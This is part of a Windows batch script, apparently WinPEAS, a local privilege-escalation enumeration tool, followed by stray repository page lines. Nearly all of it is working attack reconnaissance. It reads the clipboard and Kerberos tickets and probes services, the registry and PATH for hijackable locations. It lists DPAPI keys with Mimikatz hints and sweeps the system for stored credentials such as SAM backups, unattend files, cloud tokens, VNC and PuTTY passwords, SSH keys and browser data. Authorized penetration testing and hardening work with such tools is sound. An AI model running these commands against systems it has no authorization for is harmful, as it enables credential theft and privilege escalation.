ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
net user %username%
net user %USERNAME% /domain 2>nul
whoami /all
ECHO.
CALL :T_Progress 2
:BasicUserInfoUsers
CALL :ColorLine " %E%33m[+]%E%97m USERS"
net user
ECHO.
CALL :T_Progress 1
:BasicUserInfoGroups
CALL :ColorLine " %E%33m[+]%E%97m GROUPS"
net localgroup
ECHO.
CALL :T_Progress 1
:BasicUserInfoAdminGroups
CALL :ColorLine " %E%33m[+]%E%97m ADMINISTRATORS GROUPS"
REM seems to be localised
net localgroup Administrators 2>nul
net localgroup Administradores 2>nul
ECHO.
CALL :T_Progress 1
:BasicUserInfoLoggedUser
CALL :ColorLine " %E%33m[+]%E%97m CURRENT LOGGED USERS"
quser
ECHO.
CALL :T_Progress 1
:KerberosTickets
CALL :ColorLine " %E%33m[+]%E%97m Kerberos Tickets"
klist
ECHO.
CALL :T_Progress 1
:CurrentClipboard
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
ECHO. [i] Any passwords inside the clipboard?
powershell -command "Get-Clipboard" 2>nul
ECHO.
CALL :T_Progress 1
:ServiceVulnerabilities
CALL :ColorLine "%E%32m[*]%E%97m SERVICE VULNERABILITIES"
:::sysinternals external tool
::ECHO.
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR 'Authenticated users', Everyone, BUILTIN\Users, Todos and CURRENT USER"
::ECHO. [i] If Authenticated Users have SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG or WRITE_DAC or WRITE_OWNER or GENERIC_WRITE or GENERIC_ALL, you can modify the binary that is going to be executed by the service and start/stop the service
::ECHO. [i] If accesschk.exe is not in PATH, nothing will be found here
::ECHO. [i] AUTHETICATED USERS
::accesschk.exe -uwcqv "Authenticated Users" * /accepteula 2>nul
::ECHO. [i] EVERYONE
::accesschk.exe -uwcqv "Everyone" * /accepteula 2>nul
::ECHO. [i] BUILTIN\Users
::accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
::ECHO. [i] TODOS
::accesschk.exe -uwcqv "Todos" * /accepteula 2>nul
::ECHO. [i] %USERNAME%
::accesschk.exe -uwcqv %username% * /accepteula 2>nul
::ECHO.
::CALL :ColorLine " %E%33m[+]%E%97m SERVICE PERMISSIONS WITH accesschk.exe FOR *"
::ECHO. [i] Check for weird service permissions for unexpected groups"
::accesschk.exe -uwcqv * /accepteula 2>nul
CALL :T_Progress 1
ECHO.
:ServiceBinaryPermissions
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
where wmic >nul 2>&1
if %errorlevel% equ 0 (
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
)
) else (
for /f "tokens=*" %%a in ('powershell -command "Get-CimInstance -ClassName Win32_Service | Where-Object {$_.PathName -and $_.PathName -notlike '*system32*'} | Select-Object -ExpandProperty PathName"') do (
for /f "tokens=1 delims= " %%b in ("%%a") do (
set "svcpath=%%b"
set "svcpath=!svcpath:~1,-1!"
if exist "!svcpath!" icacls "!svcpath!" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
)
)
)
ECHO.
CALL :T_Progress 1
:CheckRegistryModificationAbilities
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
ECHO.
CALL :T_Progress 1
:UnquotedServicePaths
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
ECHO. [i] The permissions are also checked and filtered using icacls
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
)
)
CALL :T_Progress 2
::wmic service get name,displayname,pathname,startmode | more | findstr /i /v "C:\\Windows\\system32\\" | findstr /i /v """
ECHO.
::CALL :T_Progress 1
:PATHenvHijacking
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
ECHO.
CALL :T_Progress 1
:WindowsCredentials
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
cmdkey /list
ECHO.
CALL :T_Progress 2
:DPAPIMasterKeys
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
CALL :T_Progress 2
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
ECHO.
ECHO.Looking inside %appdata%\Microsoft\Credentials\
ECHO.
dir /b/a %appdata%\Microsoft\Credentials\ 2>nul
CALL :T_Progress 2
ECHO.
ECHO.Looking inside %localappdata%\Microsoft\Credentials\
ECHO.
dir /b/a %localappdata%\Microsoft\Credentials\ 2>nul
CALL :T_Progress 2
ECHO.
:UnattendedFiles
CALL :ColorLine " %E%33m[+]%E%97m Unattended files"
IF EXIST %WINDIR%\sysprep\sysprep.xml ECHO.%WINDIR%\sysprep\sysprep.xml exists.
IF EXIST %WINDIR%\sysprep\sysprep.inf ECHO.%WINDIR%\sysprep\sysprep.inf exists.
IF EXIST %WINDIR%\sysprep.inf ECHO.%WINDIR%\sysprep.inf exists.
IF EXIST %WINDIR%\Panther\Unattended.xml ECHO.%WINDIR%\Panther\Unattended.xml exists.
IF EXIST %WINDIR%\Panther\Unattend.xml ECHO.%WINDIR%\Panther\Unattend.xml exists.
IF EXIST %WINDIR%\Panther\Unattend\Unattend.xml ECHO.%WINDIR%\Panther\Unattend\Unattend.xml exists.
IF EXIST %WINDIR%\Panther\Unattend\Unattended.xml ECHO.%WINDIR%\Panther\Unattend\Unattended.xml exists.
IF EXIST %WINDIR%\System32\Sysprep\unattend.xml ECHO.%WINDIR%\System32\Sysprep\unattend.xml exists.
IF EXIST %WINDIR%\System32\Sysprep\unattended.xml ECHO.%WINDIR%\System32\Sysprep\unattended.xml exists.
IF EXIST %WINDIR%\..\unattend.txt ECHO.%WINDIR%\..\unattend.txt exists.
IF EXIST %WINDIR%\..\unattend.inf ECHO.%WINDIR%\..\unattend.inf exists.
ECHO.
CALL :T_Progress 2
:SAMSYSBackups
CALL :ColorLine " %E%33m[+]%E%97m SAM and SYSTEM backups"
IF EXIST %WINDIR%\repair\SAM ECHO.%WINDIR%\repair\SAM exists.
IF EXIST %WINDIR%\System32\config\RegBack\SAM ECHO.%WINDIR%\System32\config\RegBack\SAM exists.
IF EXIST %WINDIR%\System32\config\SAM ECHO.%WINDIR%\System32\config\SAM exists.
IF EXIST %WINDIR%\repair\SYSTEM ECHO.%WINDIR%\repair\SYSTEM exists.
IF EXIST %WINDIR%\System32\config\SYSTEM ECHO.%WINDIR%\System32\config\SYSTEM exists.
IF EXIST %WINDIR%\System32\config\RegBack\SYSTEM ECHO.%WINDIR%\System32\config\RegBack\SYSTEM exists.
ECHO.
CALL :T_Progress 3
:McAffeeSitelist
CALL :ColorLine " %E%33m[+]%E%97m McAffee SiteList.xml"
cd %ProgramFiles% 2>nul
dir /s SiteList.xml 2>nul
cd %ProgramFiles(x86)% 2>nul
dir /s SiteList.xml 2>nul
cd "%windir%\..\Documents and Settings" 2>nul
dir /s SiteList.xml 2>nul
cd %windir%\..\Users 2>nul
dir /s SiteList.xml 2>nul
ECHO.
CALL :T_Progress 2
:GPPPassword
CALL :ColorLine " %E%33m[+]%E%97m GPP Password"
cd "%SystemDrive%\Microsoft\Group Policy\history" 2>nul
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
cd "%windir%\..\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history" 2>nul
dir /s/b Groups.xml == Services.xml == Scheduledtasks.xml == DataSources.xml == Printers.xml == Drives.xml 2>nul
ECHO.
CALL :T_Progress 2
:CloudCreds
CALL :ColorLine " %E%33m[+]%E%97m Cloud Credentials"
cd "%SystemDrive%\Users"
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
cd "%windir%\..\Documents and Settings"
dir /s/b .aws == credentials == gcloud == credentials.db == legacy_credentials == access_tokens.db == .azure == accessTokens.json == azureProfile.json 2>nul
ECHO.
CALL :T_Progress 2
:AppCMD
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
ECHO.
CALL :T_Progress 2
:RegFilesCredentials
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
ECHO. [i] Searching specific files that may contains credentials.
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
CALL :T_Progress 2
ECHO.Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\TightVNC\Server
reg query HKCU\Software\TightVNC\Server 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s 2>nul
CALL :T_Progress 2
ECHO.Looking inside HKCU\Software\OpenSSH\Agent\Keys
CALL :T_Progress 2
reg query HKCU\Software\OpenSSH\Agent\Keys /s 2>nul
cd %USERPROFILE% 2>nul && dir /s/b *password* == *credential* 2>nul
cd ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..
dir /s/b /A:-D RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies == "Login Data" == places.sqlite == key3.db == key4.db == credentials == credentials.db == access_tokens.db == accessTokens.json == legacy_credentials == azureProfile.json == unattend.txt == access.log == error.log == *.gpg == *.pgp == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12 == *.der == *.csr == *.cer == known_hosts == id_rsa == id_dsa == *.ovpn == anaconda-ks.cfg == hostapd.conf == rsyncd.conf == cesi.conf == supervisord.conf == tomcat-users.xml == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
ECHO.
CALL :T_Progress 2
:ExtendedDriveScan
if "%long%" == "true" (
CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
reg query HKLM /f passw /t REG_SZ /s
reg query HKCU /f passw /t REG_SZ /s
reg query HKLM /f pwd /t REG_SZ /s
reg query HKCU /f pwd /t REG_SZ /s
ECHO.
ECHO. [i] Iterating through the drives
ECHO.
where wmic >nul 2>&1
if !errorlevel! equ 0 (
for /f %%x in ('wmic logicaldisk get name') do (
set tdrive=%%x
if "!tdrive:~1,2!" == ":" (
%%x
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)
) else (
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
%%x:
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
ECHO.
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
ECHO.
)
)
CALL :T_Progress 2
) ELSE (
CALL :T_Progress 2
)
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
ECHO.---
ECHO.Scan complete.
PAUSE >NUL
EXIT /B
:::-Subroutines
:SetOnce
REM :: ANSI escape character is set once below - for ColorLine Subroutine
for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
SET "E=%ESC%["
SET "PercentageTrack=0"
EXIT /B
:T_Progress
SET "Percentage=%~1"
SET /A "PercentageTrack=PercentageTrack+Percentage"
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
EXIT /B
:ColorLine
SET "CurrentLine=%~1"
ECHO.!CurrentLine!
EXIT /B

View File

Binary file not shown.

View File

Binary file not shown.

View File

File diff suppressed because it is too large Load Diff

View File

Binary file not shown.

View File

Binary file not shown.